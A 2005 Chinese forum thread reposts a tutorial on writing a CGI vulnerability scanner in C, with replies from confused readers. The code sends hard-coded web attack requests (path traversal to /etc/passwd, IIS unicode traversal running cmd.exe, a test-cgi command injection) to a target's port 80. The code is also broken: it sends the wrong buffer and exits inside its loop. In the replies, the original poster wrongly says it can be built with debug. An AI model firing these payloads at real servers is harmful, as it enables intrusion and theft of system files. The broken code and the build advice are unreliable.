找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 419|回复: 5

[转帖][讨论]编写漏洞扫描器

[复制链接]
发表于 2005-9-23 13:39:34 | 显示全部楼层 |阅读模式
一、漏洞扫描器基本原理:  

编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。  

二、简单的漏洞扫描源代码:  

/********************************************/  
/* 端口扫描器 源代码 */  
/* CgiScanner.cpp */  
/********************************************/  

&#35;include <stdio.h>  
&#35;include <string.h>  
&#35;include <winsock.h>  

int main(int argc,char *argv[])  
{  
if(argc!=2){  
printf("Useage : scan [IP address]\n");  
return(1);  
}  

struct sockaddr_in blah;  
struct hostent *he;  
WSADATA wsaData;  
int i;  
WORD wVersionRequested;  
SOCKET sock;  

char buff[1024];  
char *ex[10];  
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";  
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";  
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";  
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";  
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";  
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";  
char *fmsg="HTTP/1.1 200 OK";  

wVersionRequested = MAKEWORD( 1, 1 );  
if (WSAStartup(wVersionRequested , &wsaData)){  
printf("Winsock Initialization failed.\n");  
exit(1);  
}  

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){  
printf("Can not create socket.\n");  
exit(1);  
}  
sock = socket(AF_INET,SOCK_STREAM,0);  
blah.sin_family = AF_INET;  
blah.sin_port = htons(80);  
blah.sin_addr.s_addr= inet_addr(argv[1]);  

if ((he=gethostbyname(argv[1]))!=NULL){  
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);  
}  
else{  
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
WSACleanup();  
exit(1);  
}  
}  

for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex,strlen(ex),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:

1、连接目标主机SERVER;
2、向目标主机发送GET请求;
3、接收目标返回数据;
4、根据返回数据判断文件是否存在。

发表于 2005-9-24 09:23:21 | 显示全部楼层

[转帖][讨论]编写漏洞扫描器

对于编程。我一概不知``
回复

使用道具 举报

发表于 2005-10-3 15:27:16 | 显示全部楼层

[转帖][讨论]编写漏洞扫描器

请问在什么地方输入这段代码?
或者说,用什么编程软件?
是直接把文本文件改名为*.bat 还是用 debug 命令??
回复

使用道具 举报

发表于 2005-10-3 15:30:28 | 显示全部楼层

[转帖][讨论]编写漏洞扫描器

哎``两个都是高手哈``
回复

使用道具 举报

发表于 2005-10-4 18:34:34 | 显示全部楼层

[转帖][讨论]编写漏洞扫描器

没人知道啊??
回复

使用道具 举报

 楼主| 发表于 2005-10-8 16:43:52 | 显示全部楼层

[转帖][讨论]编写漏洞扫描器

直接用debug就行了
由于我对编程这方面的东东还懂的少,特别是函数库的知识更是菜鸟一个。
这东东是我在网站上拿来供大家看看的老实说我也看不懂
虽然这其实很重要!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1|闽公网安备35020302032614号 )

GMT+8, 2026-9-20 06:01

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表